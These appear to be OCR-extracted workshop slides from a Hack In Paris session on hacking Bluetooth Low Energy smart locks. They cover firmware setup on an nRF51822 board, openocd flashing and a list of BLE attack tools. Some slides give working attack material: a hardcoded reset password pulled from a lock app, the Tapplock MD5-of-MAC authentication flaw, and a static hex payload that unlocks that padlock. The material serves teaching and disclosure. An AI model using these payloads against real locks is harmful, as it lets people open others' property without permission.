N/A CONNECT 48:09:EC:AC:2E:AB → 30 ms	Battery Service UUID: 0x180F PRIMARY SERVICE	Current Time Service UUID: 0x1805 PRIMARY SERVICE	 gattacker write replay gattacker read replay
N/A 78:4F:43:75:B8:04	Current Time Service UUID: 0x1805 PRIMARY SERVICE	Unknown Service UUID: 0000ffd0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	 gattacker write replay gattacker read replay gattacker read replay
NOT BONDED	Unknown Service UUID: 0000ffd0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	Macros	smartlock resetpass
F4:B8:5E:C0:6E:A5 NOT BONDED ▲-52 dBm ↔ 104 ms	Unknown Service	Tutorial 6 items	smartlock reset pars and unlock





Again, having password...

We could just install the official app and use it...



TheQuickLock



🛕 You don't have any devices.





**** 34 2





"Smart Lock" #2







SUPER_PASSWORD embedded in mobile app

⊖ {



```
public class SmartLock
```

```
public static final int CONNECTED = 0;
public static final int DISCONNECTED = 1;
public static final String SUPER_PASSWORD = "741689";
private boolean autoLock = false;
private boolean backnotify = false;
private boolean connection = false;
private String connecttime = null;
```





SUPER_PASSWORD

Does not work as a password in mobile app.

But – the lock has a hidden feature to reset password, using this SUPER_PASSWORD!

(despite the manual claims there is no such possibility)

Change Password

 Please remember the password. You need to enter the password when you change the mobile phone or reconnect. Once you forget the password, the lock won't be used.





Attack possible using nRF connect macro







Video



https://www.youtube.com/watch?v=QE1gMpwBJzc





Detailed write-up

https://smartlockpicking.com/tutorial/how-to-pick-a-ble-

smart-lock-and-cause-cancer/



Smartlock

Connect failed!

Delete device Smartlock

Connection failed! The device password has been modified, Please delete this device!









Maybe we should help the users?







Smart Lock #3: Tapplock



Unbreakable design

Bold. Sturdy. Secure. Tapplock one is crafted for the practical. Forged with Zamak 3 zinc alloy metal body and 7mm reinforced stainless steel shackle, strengthened by double-layered lock design with anti-shim and anti-pry technologies. The lock features unparalleled industrial design finished with electroplating.





Auth = MD5(MAC)

"[For authentication] it upper cases the BLE MAC address and takes an MD5 hash. The 0-7 characters are key1, and the 16-23 are the serial number.

Yes. The only thing we need to unlock the lock is to know the BLE MAC address. The BLE MAC address that is broadcast by the lock."

<u>https://www.pentestpartners.com/security-blog/totally-pwning-the-</u> <u>tapplock-smart-lock/</u>













So, I made an nRF Connect macro

Just send static pass:

55AAB4010800**010203040000000**C601

It unlocks the padlock in 2s

https://twitter.com/slawekja/status/1012687779887763456

Slawomir Jasek @slawekja

Unlocking tapplock in 2s using mobile phone and nrf connect macro, thanks @LucaBongiorni for bringing it to #HiP18



6:22 AM - 29 Jun 2018

49 Retweets 93 Likes



DEVELOPING YOUR OWN BLE DEVICE











How to become embedded developer

Free compiler online (free account required)

https://os.mbed.com/compiler/

Q Portal Compiler

Once logged in, open the nRF board page:

https://os.mbed.com/platforms/Nordic-nRF51822/





Add board

+ G (i) A https://os.mbed.com/platforms/Nordic-nRF51822/

... 🖸 🏠

👱 III\ 🗊 🥵 🚱 🖉 🔿 📃

NORDIC



Nordic Semiconductor

Bluetooth Smart is guickly becoming a key communication component for IoT devices and it's already supported in modern smartphones and tablets. It is designed for enabling short-range wireless connectivity to things like coin cellpowered accessories. This opens the door to things like Appcessories and a whole host of applications for interacting and configuring devices, where you can embed a Bluetooth Smart chip and bring your own device (BYOD).

We have now successfully enabled this device on mbed, including the Bluetooth Smart APIs in the mbed SDK, so you can create a Bluetooth Smart based device in a quick and productive manner.

Nordic Semiconductor is a fabless semiconductor company specializing in ultra low-power wireless SoCs and connectivity devices for the 2.4 GHz ISM band, with ultra-low power performance and cost being the main focus areas





mbed

Add to your Mbed Compiler





Now back in the compiler



Platform 'Nordic nRF51822' is now added to your account!

Nordic nRF51822






New->New Program, choose template



1 Maa 2040		_
reate new program		×
Create new program This will create a n your workspace. Y program once crea	n for "Nordic nRF51822" ew C++ program for "Nordic nRF51822" in bu can always change the platform of this ated.	and a
 Please specify p 	rogram name	
Platform:	Nordic nRF51822	-
Template:	Blinky LED Hello World	•
Program Name:	Blinky LED Hello World	
	BLE Beacon demo	
	BLE Heart Rate Monitor example	
	BLE UART Service to loopback anything on the TX characteristic	
	BLE example for the Health-Thermometer service	;
	BLE_Button example	
	BLE_LED example	
	BLE_URIBeacon example	
	Example Puck (BLE)	
	🕞 Empty Program	





Hello world = blinky

Nbed			Workspace Management
🎦 New 👻 🎦 Import 🛛 🔛 Sa	we 🔲 Save All 🎬 Compile 👻 🏠 Mk	oed Cloud 🖂 🛛 🕭 Cor	mmit 🗸 🕜 Revision 🗠 😋 🆓 🗞 🍾 🖽 Help
Program Workspace 🛛 🔇	Workspace Management		
🗗 My Programs	Manage your Pro Listing all programs in your Type to filter the list Name	Create new progra Create new progra Create new progra This will create a your workspace.	Tam for "Nordic nRF51822" new C++ program for "Nordic nRF51822" in You can always change the platform of this
	Your	r F	orogram name
		Platform:	Nordic nRF51822 ▼
		Template:	Blinky LED Hello World
		Program Name:	mbed_blinky
			The name of the program to be created in your workspace
			Update this program and libraries to latest revision
			ОК Сапсеі



SMARTLOCKPICKING.COM



Blinky source

Mbed			/mbed_blinky
🎦 New 👻 🎦 Import 🛛 🔚 Save	📔 Save All 🏥 Compile 👻 🏠	Mbed Cloud 🗸 🛛 🚷 Commit 🗸	🕜 Revision 🛛 🗠 🗠 🖌 🗛
Program Workspace 🔇 🔇	Program: /mbed_blinky		
🗆 🛃 My Programs	\bigtriangledown Type to filter the list	Match Case Whole Wo	rd
□ 🛃 mbed_blinky c main.cpp	Name	Size Type	Modified
🕀 😳 mbed	c main.cpp	0.2 kB C/C++ Source File	moments ago
	😳 mbed	Library Build	moments ago





Blinky main.cpp – blink LED1 few times a second

Mbed	/mbed_blinky/main.cpp
🎦 New 👻 🎦 Import 🛛 🔛 Save	📔 Save All 🛛 🛗 Compile 🗸 🌳 Mbed Cloud 🗸 🛛 🚷 Commit 🖌 🔞 Revision 🛛 🗠 🖓
Program Workspace 	<pre>c main.cpp x 1 #include "mbed.h" 2 3 DigitalOut myled(LED1); 4 5 int main() { 6 while(1) { 7 myled = 1; 8 wait(0.2); 9 myled = 0; 10 wait(0.2); 11 } 12 } 13</pre>



SMARTLOCKPICKING.COM



Compile

Program Workspace	< Program: /mbed_bl	inky
□ 🗗 My Programs □ 🗊 mbed_blinky □ main.cpp	Type to filter the li	st Opening mbed_blinky_NRF51822.hex
🗄 💿 mbed	c main.cpp	You have chosen to open:
	💿 mbed	mbed_blinky_NRF51822.hex
		which is: BIN file (227 KB)
		from: https://es.mbed.com
		Would you like to save this file?
		Cancel Save F
•		







OUR HW SET





"Smartlockpicking" firmware

Configuration service with 2 characteristics (restart needed):

- You can change the "smartlockpickingXX" id by writing it to special characteristic
- Second config characterstic for secure pairing on/off.



 \triangleleft

0



SMARTLOCKPICKING.COM



USB serial interface

)		* 💎 🕱	2 5:37
∃ Devices	DISCON	NECT 🧭	•
	SMADTLC		07
BONDED ADVERTIS	ER C2:E4:4A:9	B:5A:54	•′ ×
CONNECTED	CLIENT	SERVER	:
Nordic UART Service			
JUID: 6e400001-b5a3-f39	3-e0a9-e50e24d	cca9e	
RX Characteristic			<u>+</u>
UUID: 6e400002-b5a3-f3 Properties: WRITE_WRI	393-e0a9-e50e2 TE NO RESPONS	4dcca9e F	
Value: test		_	
TX Characteristic	393-e0a9-e50e2-	4dcca9e	<u>₩</u>
Properties: NOTIFY			
Client Characteristic Co	nfiguration		+
UUID: a700cc65-e486-40b	a-5d24-99601dc	:38fd7	
PRIMARY SERVICE			
UUID: a800cc65-e486-40b	a-5d24-99601dc	:38fd7	
PRIMARY SERVICE		-	Ę
<	\circ		



SMARTLOCKPICKING.COM



Our hardware set



00 000

ST-Link V2 SWD debugger to flash BLE400 devboard with different firmware







BLE400 nRF51822 eval kit

http://www.waveshare.com/wiki/NRF51822_Eval_Kit

- BLE400 motherboard
- nRF51822 Core module
- Aliexpress: starting at \$11







Components



nRF51822 Core module

- nRF51822 chip
- integrated antenna
- pinout (2mm)
- starting at \$2.75

BLE400 motherboard

- USB UART interface
- pinout (standard 2.5mm), various other connectors
- jumpers, LEDs, buttons
- starting at \$9





Why nRF51822?

- Cheap
- Easy to develop custom firmware using online mbed.org ready templates
- Easy to flash firmware using \$5 ST-Link or Raspberry Pi GPIO
- Works as BLE RF sniffer (Nordic)
- Works with open-source BtleJack (sniffing/hijacking)





Hex firmware files (https://bit.ly/2WMiYAm)

- smartlockpicking.hex currently running on the device
- btlejack-firmware-ble400.hex BtleJack 1.3 (<u>https://github.com/virtualabs/btlejack-</u> <u>firmware/tree/master/dist</u>)
- sniffer_pca10028_1c2a221.hex nRF Sniffer v 2.0.0-beta3 (<u>https://www.nordicsemi.com/Software-and-</u> <u>Tools/Development-Tools/nRF-Sniffer</u>)





Flashing nRF51822 module

Can be flashed using SWD:

- STM32 debugger hardware (e.g. ST-Link V2)
- Raspberry Pi GPIO







ST-Link V2

Non-original starting at \$5

Works with open-source software openocd (<u>www.openocd.org</u>)







Connect ST-Link to BLE400

SWDIO – SWIO

SWCLK – SWD

GND - GND

3.3V unconnected, we'll power board using USB -





SMARTLOCKPICKING.COM



Connect BLE400







Openocd

Free, open flashing software.

https://openocd.org

Install (e.g. Kali Linux, Debian,...):

apt-get install openocd





Openocd – parameters for our hardware

Select ST-Link V2 as interface

root@kali:~# openocd -f
/usr/share/openocd/scripts/interface/stlink-v2.cfg
-f /usr/share/openocd/scripts/target/nrf51.cfg

Connect to nRF51 target

Ready to use script openocd.sh <u>https://bit.ly/2WMiYAm</u> BLE/openocd



Ready to use script

9TH EDITION

HACK IN PARIS

root@kali:~# ./openocd.sh Open On-Chip Debugger 0.10.0 Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "hla swd". To override u se 'transport select <transport>'. Info : The selected transport took over low-level target control. The results mi ght differ compared to plain JTAG/SWD adapter speed: 1000 kHz Info : Unable to match requested speed 1000 kHz, using 950 kHz Info : Unable to match requested speed 1000 kHz, using 950 kHz Info : clock speed 950 kHz Info : STLINK v2 JTAG v21 API v2 SWIM v4 VID 0x0483 PID 0x3748 Info : using stlink api v2 Successfully connected Info : Target voltage: 3.252590 Info : nrf51.cpu: hardware has 4 breakpoints, 2 watchpoints





Troubleshooting: bad connection

cortex m reset config sysresetreq adapter speed: 1000 kHz Info : BCM2835 GPIO JTAG/SWD bitbang driver Info : SWD only mode enabled (specify tck, tms, tdi and tdo gpios to add JTAG mode) 1. Have you powered the board via USB? Info : clock speed 1001 kHz 2. Check your wiring Info : SWD DPIDR 0x0000001 Error: Could not initialize the debug port





Option 1 – manual connect to Openocd console

Openocd listens on TCP/4444. Open new terminal, connect using telnet:

```
root@kali:~# telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
>
```





Openocd: "format" flash

Open On-Chip Debugger

> halt

target halted due to debug-request, current mode: Handler
HardFault

xPSR: 0xa1000003 pc: 0x0001c320 msp: 0x20003ea8

```
> nrf51 mass_erase
```

nRF51822-QFAC(build code: A1) 256kB Flash

```
> reset halt
```

target halted due to debug-request, current mode: Handler
HardFault

xPSR: 0xc1000003 pc: 0xffffffe msp: 0xfffffd8





Openocd – write firmware to flash

> flash write_image nrf/smartlockpicking.hex
Padding image section 0 with 2112 bytes
Padding image section 1 with 2856 bytes
using fast async flash loader. This is currently supported
only with ST-Link and CMSIS-DAP. If you have issues, add

WORKAREASIZE 0" before sourcing nrf51.cfg to disable it

Success

SS get halted due to breakpoint, current mode: Handler HardFault
XPSR: 0x61000003 pc: 0x2000001e msp: 0xffffffd8
wrote 126572 bytes from file nrf/smartlockpicking.hex in 3.117295s (39.652 KiB/s)
> reset

Reset the device, new firmware will start running, LED should blink

Hex file to flash (relative to path where openocd has been started)





In case of trouble...

HACK IN PARIS

Padding image section 0 with 2112 bytes Padding image section 1 with 2856 bytes using fast async flash loader. This is currently supported only with ST-Link and CMSIS-DAP. If you have issues, add "set WORKAREASIZE 0" before sourcing nrf51.cfg to disable it timeout waiting for algorithm, a target reset is recommended Failed to write to nrf51 flash

error writing to flash at address 0x00000000 at offset 0x00000000





... try again with reset and halt

> reset

> halt

target halted due to debug-request, current mode: Handler HardFault

xPSR: 0xc1000003 pc: 0xffffffe msp: 0xfffffd8





Ready flash scripts

https://bit.ly/2WMiYAm BLE/openocd/flashscripts

flash-btlejack.sh flash-smartlockpicking.sh flash-sniffer.sh

#!/bin/bash

echo "halt; nrf51 mass_erase; reset halt; flash write_image
nrf_firmware/smartlockpicking.hex ; reset" | telnet localhost 4444







WANT TO LEARN MORE?





Challenge: turn on the second LED!

There is the second LED characteristic, but the value to switch it is randomly generated byte.

You need to automate sending various values (0-255 in hex) via BLE.

Possible options: gatttool, bleah, bettercap, node.js, python scripts...

Note: the valid value is printed via serial interface during boot.





Sample gatttool command line

Target MAC address

root@kali:~# gatttool -b C2:E4:4A:9B:5A:54 -t
random --char-write-req -a 0x28 -n 1F_

Value

Handle number, 0x28 = second LED characteristic



SMARTLOCKPICKING.COM



Hackmelock







Hackmelock: open-source, several challenges

https://smartlockpicking.com/hackmelock

Sources – software-emulated device + Android mobile app:

https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/





BLE CTF by Ryan Holeman @hackgnar

Several challenges, based on ESP32

http://www.hackgnar.com/2018/06/learning-bluetooth-hackerywith-ble-ctf.html

https://github.com/hackgnar/ble_ctf

<u>https://github.com/hackgnar/ble_ctf/raw/master/docs/BLE%20Work</u> <u>shop.pdf</u>





BLE attacking tools and hardware

Hardware: BLE USB dongle or built-in adapter Software:

- BlueZ command line: gatttool, hcitool, hcidump
- BLE scanning, spoofing, MITM, ...
 - GATTacker <u>https://github.com/securing/gattacker</u>
 - BtleJuice https://github.com/DigitalSecurity/btlejuice
 - Mirage http://homepages.laas.fr/rcayre/mirage-documentation/
 - Bettercap https://www.bettercap.org/modules/ble/







BLE attacking tools and hardware

Hardware: BLE400, BBC Micro:bit, Adafruit sniffer, ...

Software:

- BtleJack by Damien Cauquil @virtualabs RF sniffer, jammer, hijacker <u>https://github.com/virtualabs/btlejack</u>
- nRF Sniffer (closed source), nice integration with Wireshark <u>https://www.nordicsemi.com/Software-and-</u> <u>Tools/Development-Tools/nRF-Sniffer</u>





Want to learn more?

Hardwear.io workshop slides (including sniffing, MITM,...):

https://www.smartlockpicking.com/slides/Hardwear_2018_BLE_Sec urity_Essentials.pdf

BruCon workshop slides (hacking bluetooth smart locks): https://smartlockpicking.com/slides/BruCON0x09_2017_Hacking_Bl uetooth Smart locks.pdf




Want to learn more?

Trainings Tutorials Events

Don't forget to subscribe for newsletter 😳

https://www.smartlockpicking.com